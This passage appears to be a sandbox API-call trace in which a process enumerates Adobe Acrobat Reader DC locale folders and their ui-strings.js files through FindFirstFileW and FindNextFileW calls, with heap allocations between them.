returned 1 [0264.322] GetProcessHeap () returned 0xc10000 [0264.322] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.323] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.323] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.323] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.323] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.323] GetProcessHeap () returned 0xc10000 [0264.323] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.323] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0264.324] GetProcessHeap () returned 0xc10000 [0264.324] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\root\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.324] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.324] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3292, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.324] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3292, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.325] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.325] GetProcessHeap () returned 0xc10000 [0264.325] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.325] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0264.325] GetProcessHeap () returned 0xc10000 [0264.325] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.326] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5122, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5122, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.326] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.326] GetProcessHeap () returned 0xc10000 [0264.326] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.326] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0264.327] GetProcessHeap () returned 0xc10000 [0264.327] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.328] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.328] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3aa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.328] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3aa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.328] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.328] GetProcessHeap () returned 0xc10000 [0264.328] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.328] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0264.328] GetProcessHeap () returned 0xc10000 [0264.329] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.329] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.329] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3640, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.329] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3640, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.329] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.329] GetProcessHeap () returned 0xc10000 [0264.329] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.330] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0264.330] GetProcessHeap () returned 0xc10000 [0264.330] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.330] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.330] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.330] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.359] GetProcessHeap () returned 0xc10000 [0264.359] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.359] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0264.360] GetProcessHeap () returned 0xc10000 [0264.360] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.364] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.365] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.365] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.365] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.365] GetProcessHeap () returned 0xc10000 [0264.365] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.365] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0264.366] GetProcessHeap () returned 0xc10000 [0264.366] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.366] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.366] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x393d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.366] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x393d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.367] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.367] GetProcessHeap () returned 0xc10000 [0264.367] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.367] FindNextFileW (in: 